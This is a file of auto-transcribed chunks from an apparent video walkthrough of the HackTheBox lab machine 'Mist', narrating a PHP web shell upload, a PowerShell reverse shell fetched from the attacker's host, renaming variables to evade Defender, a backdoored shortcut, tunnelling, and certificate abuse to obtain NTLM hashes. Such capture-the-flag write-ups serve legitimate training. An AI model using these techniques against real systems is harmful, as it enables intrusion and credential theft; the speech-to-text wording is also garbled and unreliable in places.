diff --git "a/HackTheBox_-_Mist.jsonl" "b/HackTheBox_-_Mist.jsonl" new file mode 100644--- /dev/null +++ "b/HackTheBox_-_Mist.jsonl" @@ -0,0 +1,106 @@ +{"text": "what's going on YouTube this is ipag we're doing mist from hack the box which was an absolute Beast of a machine my favorite part about this box is definitely the ntlm relay which is part of the foothold and it's made more difficult because domain users can't add machines or DNS entries to The Domain so it starts off with us using rubius as pass the ticket to get the ntlm hash of our current user because we gained access through social engineering and didn't know their password and we needed the hash so we could authenticate to The Domain through a socks proxy so with that hash we can use petite pm to make the machine account back to us and if we set up ntlm correctly we can for that authentication over to ldap because ldap signing isn't enabled and that enables us to get a ldap connection as the computer account which then will set shatter credentials so we can use rubius", "start": 0.04, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "yet again to get the ntlm hash of the machine which then through cerus will let us impersonate the administrator user to gain admin on that client but that's not it that's only for the user in order to get root there's a few things we have to do but the key one is the adcs ESC 13 attack which allows us to add specific ad groups to a ticket thanks to the oid group link as part of the esc13 so with all that being said let's just jump into the box because there's a lot to get through as always we're going to start off with an end map so- SCC for default scripts SV numerate versions dvv for double for Boost this can give us things like the TTL OA outp put all formats put in the end map directory and call it missed then the IP address of 10101 11.17 this can take some time to run so I've already ran it looking at the result we have just one port open which is HTTP on Port 80 and", "start": 43.84, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "the banner tells us it's an Apache web server running on Windows which is a little bit odd and has PHP enabled and also if you have a Keen Eye we have a TTL of 126 the default TTL on Windows is 128 and it decrements by one every hop so most of the time when we come across a Windows box we see a TTL of 127 this just means this is probably a VM on that box because we're missing whatever hop 127 is is if we send a straight ping to it we see there is something that responds on 127 and map is just not showing it because all the ports show a TT of 126 so we have a VM here so if we end up compromising this there's probably another host we can enumerate from this box um so before we get too far ahead of ourselves let's just look at the rest of end map we have the HTTP robot script running that just has the contents and there's a hint that there", "start": 94.439, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "may be a data directory and a docs directory then we have the HTTP generator telling that it's running pluck version 4.78 the title of the page and it's requesting um when we navigate to 10101 11.17 it directs us to file is equal to missed there's also a PHP session cookie so we know this is a PHP web server so let's just go ahead and take a look at the page so we'll do HTTP um then the IP address I already had the HTP on my clipboard and we just get a page that says it's powered by lock so we could try things like file disclosure in this file thing but since we have the version I'm just going to look at cve for um this piece of software um let's just Google cve miter because this is the page I am familiar with and then we can go over to search cve list and then type pluck and then let's see um I don't know", "start": 145.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "when this version was released let's go back to the end map and see if we can find out the release date so we can just search for like pluck 4718 release and see when this was um we have cve this is an rce that's interesting let's see I wonder if we add GitHub if this will have any type of release there we go releases and then looks like 4718 was released February 24th of 20123 so over a year ago um looking at this rce vulnerability uh right off the bat I see log on payload so it looks like we need to be logged in for this to happen so it's probably an authenticated rce and it's talking about uploading a zip file U maybe to like data modules I don't know exactly how uh pluck works but I'm guessing this requires authentication it doesn't really tell us but just based upon the login payload I'd assume so so let's look at all the cves for this the first one here looks", "start": 203.64, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "like it is probably a file disclosure we can extract sensitive information um the next one here is I'm surprised this is a cve it's saying it doesn't requ restrict login attempts after a lot of failed ones so it's vulnerable to Brute Force probably not something in a hack the Box machine uh we have a file upload vulnerability that allows the attacker to execute code this is probably the um thing we were just looking at right here and I'm looking for like the severity number because that could indicate if like authentication is required or not um would that be here no I must be missing something because normally cve have like um a criticality so 8.8 that is High um I wonder if it doesn't require authentication what does it use login payload so we do login response nope this is definitely requiring login because we're making sure the login is 200 when we send that", "start": 268.36, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "so uh let's see the next one is cross site scripting and then let's see VI the manage file and it looks like we're talking about version 4717 or 4715 so we're no longer in what we're vulnerable to so it's going to be one of these four cves I'm going to start with the file disclosure we probably should um try this if I was just doing the Box blindly I try try this one just to make sure my assumption is correct it's making sure we can log in but I'm going to skip that to save a couple minutes so we can search the cve with pluck to see there's any blog post about the cve and looks like we do have one here so going to this page it looks like there is a file disclosure vulnerability in the albums GE image.php so let's make sure we have this script so I'm going to just navigate to data modules get image and", "start": 332.479, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "it can't be displayed because it contains an error that's probably because the header is telling us it's an image and it doesn't have an image so the browser is not responding or not displaying it we can check that out with like c-i to only show the headers DV this page and let's see we probably don't need- V when we do- I right since that is to show headers there we go um content type image JPEG so whenever we hit get image it tells us it's a JPEG and if the browser can't render it it displays error message but if we curled it um it wouldn't right so we could just do a curl on this and there's no data so that's why the browser's erroring so let's keep going through the blog post it gives us the source code to the get image thing and we have a bunch of things detecting um hacking attempts so this is probably like a um Regular", "start": 389.72, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "expression on looking for like um directory traversal cuz this like dot dot or um and it's doing a bunch of other things so that's probably like directory traversal command injection things like that and it's checking it on um looks like a few parameters and then if no hacking attempts are found it will include the settings module album and whatever the image is and if we keep looking here they try to include uh pphp so they probably have an upload to this directory there's also a pass backup. PHP here so let's go ahead and look at that directory so we go to data settings modules so let's open a new tab or just use this tab and we can go data settings let's see click on modules albums and then I think this is where we can include files so there is a admin backup. PHP here uh we can also include", "start": 443.44, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "miss. PHP so if we just do um I think it's just image is equal to miss. PHP we get the contents of that but obviously we want to get admin backup so let's go ahead and try downloading that and looks like we get a hash uh let's do Echo DN paste this in wc- C 128 I'm going to guess this is a sha 512 hash um if we Echo test sha 512 sum uh that looks like the length right let's just do a a print 1 wc- C 129 but there is a line break there so yes this is most likely going to be a Shaw um 512 Su so let's go ahead and attempt to crack this and instead of going to hashcat whenever I just get a raw hash I always go to like crack station first and if it doesn't crack here then I'll try to manly crack it with hash and some rules but if there's no salt I don't really see much harm in using an online service so let's see it wants all", "start": 504.039, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "bridges maybe yes awesome I'm not a robot uh it looks like it cracks to lexip poo 997 so what we have to do now is figure out how to log in or use this password on uh pluck now we could like go Buster and guess this right but pluck is open source so whenever there's an open source application I do like going and just looking at the code it saves me some time from just um taking the blind approach and brute forcing it right so we have login.php so let's go to login.php and based upon the photo we have a user of admin so let's go there and actually if I clicked admin that directs me to login that's weird um I did not really expect that but okay uh that does not look like Lexi poo on my clipboard let's copy this paste this log in uh let's see V notes this going to be pluck um no user lexip Po 97 okay and", "start": 577.48, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "let's see we have to get code execution now we could do it through um whatever that cve was that I found before the exploit script but if we just go to manage modules most ms's It's relatively trivial to get code execution when they support things like plugins or themes and things like that they can just write PHP code so let's go here and install module so I'm going to create a shell script so let's just create um shell. PHP and we can do a system request then CMD like this uh like there we go and then let's try uploading this so we can go to htb oh that's not it htb missed shell. PHP upload and we didn't give it a valid file so at this point we could just guess and think it needs a folder because a lot of times when you like make plugins it wants folders um it also probably wants it to be a um zip so we can try maker shell", "start": 646.279, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "move shell. PHP into shell and then let's just zip this up so zip-r shell. zip okay then upload it and it says the module has been installed successfully and then directs us to manage modules um I'm going to go HTTP 101 117 was it data modules right and we don't have shell did it not install install module let's try this again so sh. zip upload has been installed successfully there we go I don't know what happened that one time but if we go to Shell we have shell and if we do CMD is equal to who am I we get code execution so let's now create a cradle to launch a reverse shell so I'm going to make the dubdub dub we can go in there um and let's do CP user share Nang um shells invoke Powershell TCP online. PS1 I'll just call it rev. PS1 and then let's edit this to get a shell okay so we got to get rid of the IP we do 10 10 148 and then listen on", "start": 719.68, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "Port 90001 and then before I start a web server uh whenever I do poers shell reverse shells I always like creating some type of web cradle because um I'm going to have it Go and download I could just like give it raw Bas 64 and execute the shell straight away but normally I don't get error messages when I do this so if like Defender blocks it I never know Defender blocked it if I do the web cradle and then it makes the HTP request back to me but I never get a shell I know Defender blocked it so that's why I always like favoring to use a web cradle like I'm about to do here so do new object net.", "start": 820.32, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "web client download string HTTP 10148 Port 8000 rev. PS1 there we go I going do I convert C cradle I convert UTF 16 little Indian base 64 W because um Powershell just likes things encoded this way uh let's do Python 3 HTTP server then we can do RL RP NC lvmp 901 and we can do Powershell DC for encoded command and run it and and it's taking a little while we have it get the reverse shell but we don't have any um response so chances are Defender flagged us um so what I'm going to do is edit my shell so we're going to go edit rev. PS1 and it's relatively easy to bypass the um Defender signature on shells if you just rename all the variables um that normally works you also have to delete one line um the uh print working directory line that we'll do in a second so I renamed client let's rename", "start": 857.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "stream um oh God not that there we go let's see the next one is byes we'll do that to Dollar B then let's see the next variable data dollar D next one is send back we'll just do SB then I want to say there's send bite next so send bite uh we probably need this as a dollar we'll call this s SP okay I think I've renamed all the variables let's get rid of the PWD path here and this should work to evade Defender so start this back up refresh we get a44 not found so it looks like something cleaned up or Shell let's just go manage modules again and and reinstall or we can click install module there we go show. zip upload refresh we should hit here and we get a call back awesome so now we have a reverse shell here so the next step we do is just like a simple who am I and we can see we're the SVC web", "start": 935.72, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "user so I really don't like the um guessing I'm about to do here but I don't know a good way to Showcase like what we're supposed to do but if we look at the slash directory we have a common applications so I do CD common appliations let's make sure we're in it uh CD common star it's a pain to escape that space there we go um and we look in this directory we have a few links and we can write to these links so this is just opening calculator notepad word pad so um I'm going to manipulate the calculator link to send us a shell and then we'll see if anyone clicks it so it's a little bit of guesswork to Guess that someone's going to click the shell but um yeah so we'll do RL RP NCL lvmp 901 to start our shell and then we have to create a malicious Mal malicious shortcut wow I can't say that word um I know the ired team Blog has a good one", "start": 1016.92, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "so we'll do ired team um malicious shortcut go to Google let's see this post is the one I normally use and let's see you do command start process I just need is this what I normally use I think so so we'll do um object shell is equal to new object comob wscript do shell then we can create the link so that's going to be object shell. create shortcut C back slash common applications then calculator.", "start": 1083.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "lnk okay then we're going to set the target path is equal to does this have Powershell it does awesome okay then we can do lnk do arguments is equal to they have a few good ones here so let's just add these and then encoded command let's go back here or I convert command grab the Bas 64 and this is why having the web cradle is so handy because we can just reuse things like this okay the argument there so let's just save the link so before I do this I'm going to type on calculator. lnk and we can see it's just executing calc.exe so I do lnk Dove going to type it again and we see Powershell and here's our nasty argument so everything looks good here um yeah that should work right because the web cre is doing EX on Port 8,000 so at this point it becomes a waiting game for the call back to happen and it", "start": 1147.52, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "should happen within I think like 2 minutes so if we look at the time now it is 52546 so either in 10 seconds or probably a minute 10 seconds we should get it so I'm just going to do a sleep 120 just so I know when 2 minutes has happened and I'm going to probably pause the video now and then if the Sleep finishes we know we screwed up if it doesn't or if we get a shell before the sleep I will resume and we'll move on from um whatever user clicks on that link almost soon as I stopped recording we had a um callback come and then we got a shell so let's do a who am I here and we can see this user is Miss brandon. keyp and uh this shell is ms01 SVC web so we're now a domain user if we ran like an IP config we can see the IP address is 192 1681 100101 um and it should still be here because we clicked the link on the same machine right so what we need to do now", "start": 1229.679, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "is get the host name of this box so well the host name is going to be ms01 um we could just run host name so let's now edit our host file and we're going to start putting these host here so this was 100101 it is ms01 and then we need to get the domain so I'm going to try pinging um 192 168 100 100 does this come back with anything it does so that is going to be another box I just guessed that because we were 101 but that didn't get the host name um NS look up2 16800 100 does this give us anything these commands are taking a little bit long to run uh let's see DNS has timed out uh let's go with Powershell get domain name see Parell get current domain EnV so we can try echoing this there we go m. htb chances are that's going to be the domain controller we can also ping mist. htb that does respond to us so this is going to be ms01 ms01 miss. htb so we need to", "start": 1293.919, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "get the domain controller's name um I'm going to stand up chisel at this point so let us do another link. saave because I have a feeling we're going to need to get a few shells here so I'm going to do RL RP n cvnp 901 and I'm going to name this one tunnels So eventually we'll get a hit there so we have to upload chisel so where's PWD and I'm going to go to program data and then we want to upload chisel to this box so let's do CP opt chisel chisel exe to dubdub duub and I'm going to make it easy and copy chisel itself here okay and then we can do a curl HTP 10 10 148 for 8000 chisel exe do chisel exe and let's go chisel server um I want to say we allow reverse and socks um Port 801 let's see what is the command I normally use socks five okay we have a call back here so I'm just going to do the Chisel", "start": 1386.919, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "here and we already already downloaded it so I'm going to do chisel EXE client then 10 10 148 Port 81 R colon sucks and we should get that call back so now we can run net exact so I'm going to do nxc um we have to proxy chains it then SMB 192 168 100 100 so we can get back to enumerating this way right right and we can see the name is dco1 and it's mist. htb so I'm going to do pseudo VC host and we can say dco1 dco1 mist. htb and also missed htb to get all that squared away we can also do 101 we could check like 102 for good measure to um make sure everything's there this one doesn't have a host so at this point um we have to I'm just going to kill that um I want to get Brandon's password so I'm going to try to get the ntlmv2 hash and then crack it really quick so I'm going to do pseudo responder dasi ton", "start": 1491.559, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "zero is it responder Pi maybe respond to lowercase there we go so I can just do like a GCI on 10 10148 um share file. text doesn't have to exist it's just going to make a connection back over to my server and then uh give us the hash right so here we can do a pseudo V not v s the Kraken which is just a box on my network that I use to crack uh passwords GNA go into the hashcat directory then we can say vhes I'm going to call this m ntlmv2 paste this hasat that um opt word list rocku and we'll do the rules of best 64. rule so we'll see if this cracks I probably will not and we can also um run Blood Hound so whenever I get a domain user that's probably one of the first things I do so let's go and run Sharp pound and I'm going to default to Shar pound here because number one I had a lot of trouble getting the blood hound. working", "start": 1579.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "through the tunnel and number two we don't know the user's credentials right so um if we just run Shar pound from this user we can get all the data we want if we wanted to run the Bloodhound dopy locally we need to know the user credentials to authenticate right so having the exe just lets us skip having to know credentials so I'm going to Google um sharp pound GitHub and I think this is the latest right 5 days ago release Yep this looks good let's download the non debug version then I want to put this in my dub dubdub directory so we W get it um 7zx on this and that is Shar pound. exe awesome PWD we program data I'm going to do a WG HTTP 1010 148 8000 sharp hound.", "start": 1655.559, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "exe sharp hound. exe save that and then if we try to execute it let's just make sure it works it's taking a while looks like it is um yep it looks like Shar pound is working just fine so I'm going to do a what is it like- C all this will do a collection for everything and then we need to get the data back to us so let's see um looking at this recovered zero out of one so we don't have anything we can go back to tunnels um CD dot dot oh we can just put in the dubdub dub directory probably that would be the easiest way to copy it right so if I do di we have this data so let's see Di was it C colon back xampp HT docs I have three PS okay then HD docs files you can probably copy it there so star. zip into that I go to 101 117 files internal server error so open directory listing is not happening but the file is likely there", "start": 1718.48, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "as long as a user has permission which they do to drop it uh internal server era still okay so let's not copy the files um let's do di HD docs uh can we just copy to HD docs we can there we go and then we'll save it to htb missed okay so now we have to run blood hound and I'm going to run the community version of Blood Hound cuz that's the one that is being up toate now so let's go to what is it example yeah examples Docker compose and I want to say it's dock compos pull and up right Blood Hound GitHub community let's see if you haven't Ed the community edition of Blood Hound it looks a lot different and quite a bit has changed I know I showed it once in a video I think it was like fre I forget what video it was but I showed it once um and I found out the graphical issue um how to fix it so we'll show that in", "start": 1824.2, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "this okay and my computer is running a a really odd version of Docker where I don't have Docker space compose I have to do Docker Dash compose but yours most likely is Docker space compose um so we're going to pull this it's probably going to take I don't know um 5 minutes to start Blood Hound so I'm going to pause the video and then we'll resume once everything is running okay it looks like the data has stopped scrolling to my screen so Blood Hound should be running now and since the first time running it the initial password is going to be in standard out somewhere so I just searched up and I find it here so now if I go to my browser we can do HTTP Local Host 8080 which is where Blood Hound runs and I'm going to um I'll turn it off once we log in um the first user is Spam example.com which such an odd default but okay and then", "start": 1914.36, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "we'll do password 2024 Bang it needs to be a capital P probably because we need one Capital there we go and once we log in we should be able to change the dark mode setting here to turn dark mode on and I can turn it off here so they don't conflict and now we have to go to file ingest and upload our file so let's go in to htb miss go to the blood hound. zip upload it upload and it's going to probably take I guess 2 to 3 minutes to process so I'm probably going to pause the video again and we'll resume when this is done ingesting okay it is now marked complete so if we go over to explore uh we can start beginning to play with this and the graphics um I guess on Linux by default they just like a bit wonky at least on Firefox if we go to about config and we change a setting um it was resist fingerprinting this privacy resist fingerprinting if we", "start": 1974.039, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "change that to false I don't know exactly what this does it could be a horrible advice but it makes blood hound look pretty again so if you want it to look pretty I would definitely recommend that so now we have this Brandon keyw warp user and we can can look at all the data blond Hound tells us about them if we go to members we can see what were a member of we can mark it as owned and then let's see if we go to outbound control see what things they can do we can see I'm a member of domain users I can enroll in these certificates and then I can also um en roll in oh that's not that interesting but we have client off EFS users user authentication and user signature so if I wanted to I can use a pass the ticket attack by enrolling in the users template and then getting the ntlm hash that way so let's use certified to do that so I'm going", "start": 2051.399, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "to go back to my session let's see PWD I'm in program data so I'm going to copy let's see if I go dubdub dub we can copy opt is it sharp collection then we'll do NET Framework 47 any and then we want certify so we'll copy that to this directory and we can do a curl HTTP 1010 148 P 8,000 certify and call it certify exe and then if we try to execute it it does not run and if we do a DI it's actually probably going to get deleted um somewhat soon and that's because Defender is on the box and um is responsible for deleting it or I thought it would get deleted soon it'll be gone soon definitely and instead of doing a bunch of like opus to get this working uh playing around I discovered the HD docs was actually excluded from antivirus I was kind of curious like why antivirus was never picking up like the", "start": 2123.56, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "reverse shells I used and it's just an excluded directory and you can't really enumerate that as a low privilege user to my knowledge you have to be an administrator but um a lot of times like uh database directories um web server sometimes they're just excluded from Defender so we're going to skip a bunch of AV evasion because we can do that what's going on this is it from the future and what I said just now about the low privilege user not having any ways to enumerate Defender exclusions apparently that was a lie the day after recording the video I came across this article that just talks about two different ways we could do that the first one is really cool it's just looking at event logs because low privilege users can read this event log and it will contain a message about exclusions the other one", "start": 2198.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "is going to be a tool I'm not going to actually run it but talk about how it works at the end I just want to focus again on the event logs because I love when attackers start getting information from event logs because I just love event logs um if you want tips on how to search event logs go watch my Sherlocks videos like Brutus unit 42 or crown jewel where we convert event logs to Json which really makes it easy to grip through them but for an attacker sometimes we don't have the event log and we just going to use poers shell to query them right and I have a shell as a low privilege user to prove that we're going to do a get MP preference and then we'll select the object exclusion path and if we were an admin this command would work but since we're not it's going to uh tell us that we need", "start": 2244.44, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "administrative privileges there we go must be administrator to view exclusions well okay we can just go to the event log now so I'm going to do the poers shell command get win event and do log name and the log name where Defender writes is Windows Windows Fender than um operational and if we just get this log it's going to be a lot of data um it should finish in like 3 2 1 okay maybe not but it's right now going through the event log and pulling a bunch of data it'll flood my screen and there it is and this has a lot of event IDs we can see like 1,000 1,5 57 so we only want to get 57 so what I'm going to do is a filter X path and we're going to say the system event ID is equal to 57 like this and now we're only going to get 5,7 events it goes much quicker because we're not getting all those other event IDs now we can do select object on", "start": 2288.839, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "message and then a format list will prevent it from truncating how it has those like dot dot dots and we can see a lot of data here right so if we just search this list with for exclusion uh we can see TP exclusions we also see this one um old value is nothing new value H key local machine software Microsoft Windows Defender exclusions and paths so here we go we have a path here I'm going to change my Powershell command before I do the select object we're going to add a we object and then we'll say the message is like exclusion like that close off that and now we only get two events we have the TP exclusions and this one so I'm going to add a exclusions then path and now this will only give me one event that says where Defender has been configured and we have have the exclusion path examp HT docks", "start": 2361.52, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "so I find this really cool um the event logs are definitely useful for attackers I know like a lot of the top teams used to be pillaging the event logs because like commands like pow shell commands that were ran were sometimes included in the event log so that could give indications on um like how boxes were built that can lead them to quick oout and blood times but I think we started like purging all those logs because it became an issue but now we have Defender log so um side rant there but hopefully you enjoyed it we can talk about the second way they enumerate it which I think is a really creative way so they can call MPR run CMD to run a scan on this file right so they're scanning the folder and then they put a pipe star and what happens is the pipe is an invalid character and it will just error if it attempts to scan a file with a pipe in it", "start": 2430.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "however if the folder the pipe is in is excluded it never attempts to read the pipe so um in this example if folder to check was excluded it would not proceed to read this so the command would never error out however if it's not excluded it then reads this and says hey this is bad right and we can see the error message right here in this screenshot so um yeah that is um how we could enumerate the defender rules as a low privilege user and now let's get back to the video where we were trying to get certify on the box so we can enroll a user authentication certificate for a user that enable us to do the pass the ticket hash and get the ntlm hash for the user and go over to um the HD docs and then I'm going to go into the files directory because we can write here and this is not part of the automated cleanup if we wrote to like where we wrote", "start": 2488.04, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "um oh I guess we could write to the root of the web server as well but I'm going in files just because um opsac reasons I don't want to like leak a bunch of files just on the web route for other people to go download them right but we could do that if we put it in the um directory where like the modules is where we did the reverse shell that gets cleaned up every like 2 to 3 minutes which would be for us so we're going to just work out of this file's directory from now on so we can do curl HTTP 10 1048 Port 8000 certified. exe call it certified. exe and then let's try to execute it and there we go we can now run certify so let's create a certificate so we'll do certify exe request the ca is DC D1 then M dc1 DCA and then we use the user template so we have the thing completed oh it needs to be", "start": 2553.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "lowercase CI okay and then this will tell us how to use this ticket so it may take probably 30 seconds I guess to run and hopefully it runs successfully there we go we have the certificate here going to copy it on my clipboard and then we're going to use the command it recommends to um convert it into a pfx so let's now let's call this um Brandon keyw I think what is it um let's see what is the name of this pem maybe and yeah so we'll paste the certificate then we will copy the command it says and then we want to change the in to B Brandon key.pem and the pfx is just like how Windows wants to be able to deal with the certificate um I'm going to call it Brandon key. pfx and we'll copy this into dubdub duub uh we need to do it this way okay and we want to get this certificate over to the server so we're going to do", "start": 2621.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "a curl HTP 10 10 14 8 8,000 Randon keyw war. pfx Das Randon keyw pfx that was a 200 so we did save that and we want to get rubius over to This Server because the next step is going to be using rubius to perform that past the ticket attack to get the ntlm hash of Brandon and then that will just allow us to use tools through the proxy because we'll have Brandon's ntlm hash so let's now um CP opt sharp collection NET Framework 47 any rubius exe to dubdub dub and we're going to use a lot of net tools that's why I didn't want to like go too heavy into just like opening the source code changing a bunch of like text in the code to Opus skate it to bypass Defender like you can normally just like delete the help and rename the project and that's normally good enough but to do that with all these net projects would probably take like an extra 45 minutes", "start": 2717.96, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "if just not good content so this is a really nice Saving Grace okay we have rubius so rubius we can do a ask for the ticket gring ticket user Brandon key warp uh the certificate is going to be in C colon we probably don't have to do the full path um let's just try Brandon keyw war.", "start": 2786.72, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "pfx then get credentials show no W let's see you must apply a I did do certificate is a certificate colon it is so let's see if we can actually read that certificate if it can't then we need to put the full path there but I'm guessing it'll work off current working directory so this one there we go we have ntlm hash of Brandon keyword so we can go back up here we did that nxc command and let's do 101 Brandon do whoops. keyw warp - P or it's- Capital H for this hash and let's see we get a successful authentication we can also try it against um 100 but now we just have an off and having a single off is definitely good um The Next Step is going to be relatively hard um it is going to involve a lot of like ntlm relaying and we don't have the permission to create machines which does make it um much tougher so if we use that nxe", "start": 2815.559, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "command uh let's see we want to use ldap not SMB and we can specify maq this is going to tell us our machine is set to zero so we can't add domains to the domain controller and since we oh we can't add like computers um wait what why did that fail that's probably got to be do 100 because ldap is definitely not running on 101 it's running on 100 okay so machine account quota is zero um the other thing I should mention if you're having issues um make sure you install proxy chains 4 I know three is default in a lot of locations I just had weird issues with proxy chains 3 switch into proxy chains version 4 fix that um but yeah so machine account quote is zero so we can't create machines the other thing that often happens with like relaying oh well why we want to create a machine is if we create the machine we know the ntlm password of that machine so we can", "start": 2894.4, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "do um things the other thing is if we want to relay connections we can can potentially like create a DNS entry and point it back to us and normally domain users have that permission but we're going to try that really quick and find out we do not have that permission so where is uh dubdub dub I'm going to download a tool called Power mad and that's going to give us that ability so this is all just like normal enumeration I would do and N times out of 10 this works but on this box it doesn't right so I just want to again show all the things that we would do so we're not like skipping a bunch of enumeration uh Power mad. PS1 paste that then we can do a curl HTTP 10 1048 8,000 power mad. PS1 out power mad. PS1 import module power mad. PS1 and let's see um is it power mad adns node let's see there's a really", "start": 2962.079, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "good website I use the hacker recipes um this is a lot of good like 